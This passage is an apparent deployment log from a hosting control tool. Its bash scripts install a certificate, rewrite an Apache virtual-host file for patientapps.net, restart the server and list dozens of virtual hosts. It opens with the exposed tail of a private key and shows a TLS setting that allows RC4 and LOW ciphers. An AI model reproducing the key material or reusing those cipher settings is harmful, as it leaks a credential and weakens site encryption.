n8UF3DLqkOgZI5Csp6mHxir0nefVWFMq0Svswk0xJAKqcpSgIursQXV4Gqnb0unH
OjpYralVKKEq94QQesojyoGOWGyU67ntMjjSrOYFm4x9y2UYbF2cIG9C8CeMjBWS
+MME+hQjr86cxCv3oq+lxCkCmwKBgQDJ7H8+RF6AksMNvpdJsQuu1dOs7meSPFpB
vUTElAHQpCv89n4ECK1qwJBflzWIBlq5/FMTSYXlzIkthDBTM5vrKAErqJqNaCx6
IdYH/brisk84s13OYbnF1X6g+aznQfIyc89bUFkMocATpiuY+1BRay8lCm2BtiKb
fgHZ0G56ewKBgQCwOVJI9mT13WSGC8WCnYXQdeWYhMC7bNB1ILxaUJAANs93jbJk
pcUxUYDvKl2FSXPteKZI3QnVQfhXjuyeTwdLNCa5d8huf5p7eBznWwgoy0vzi9wx
I7HOtfEQJ0iAayZbq3gVe9MRc6Nrw2m/MFpFE0kDMB+mUtDpvuxVGAbWxwKBgQC/
ILT8aliNGN2518p5vTRSxCD9UhgE6k2AZjd+Xp4tMAhXA7YZ+WC0aBr/8C+CVolv
++9ilThBYM4DoFjhmDsgZhhdi9TmvlFDNV3S6I8J3z9vaxACtqvSH5ghpNLNfrVS
nh4Kz83KUBxwPNyNjGvk9TCFvg4TNiQhzC7STiEUmwKBgC+j4Zy9Kiiq1Eg2MWDX
Y9Yb5T+Yl6u/hRNr4H7TV3hYOeGd1Q6/5cntI82WMQfdVq5OZwSo/glPzUzZiYwb
+rOhoDteq2Y+V04TVkuT9vreVKG/IbN9NyoVaIcVlNOuk9tZ+h8hBRYGIEE/zldV
yD9LiAHStiEhsbULmWEYB7TY
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-09 11:44:32: 

chmod 755 /tmp/pkp868365; /tmp/pkp868365; rm /tmp/pkp868365

2025-10-09 11:44:32: 


dir=/etc/ssl/certs


2025-10-09 11:44:32: 

PUT: /tmp/pkp178740

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-09 11:44:32: 

chmod 755 /tmp/pkp178740; /tmp/pkp178740; rm /tmp/pkp178740

2025-10-09 11:44:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_www_net.conf 43
<VirtualHost *:80>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>






2025-10-09 11:44:32: 

PUT: /tmp/pkp184284

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_www_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_www_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_www_net.conf= 1'
fi


2025-10-09 11:44:32: 

chmod 755 /tmp/pkp184284; /tmp/pkp184284; rm /tmp/pkp184284

2025-10-09 11:44:32: 




2025-10-09 11:44:32: 

PUT: /tmp/pkp458402

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-09 11:44:32: 

chmod 755 /tmp/pkp458402; /tmp/pkp458402; rm /tmp/pkp458402

2025-10-09 11:44:32: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-09 11:44:32: Establishing a connection
2025-10-09 11:44:32: 

PUT: /tmp/pkp910699

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-09 11:44:33: 

chmod 755 /tmp/pkp910699; /tmp/pkp910699; rm /tmp/pkp910699

2025-10-09 11:44:33: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
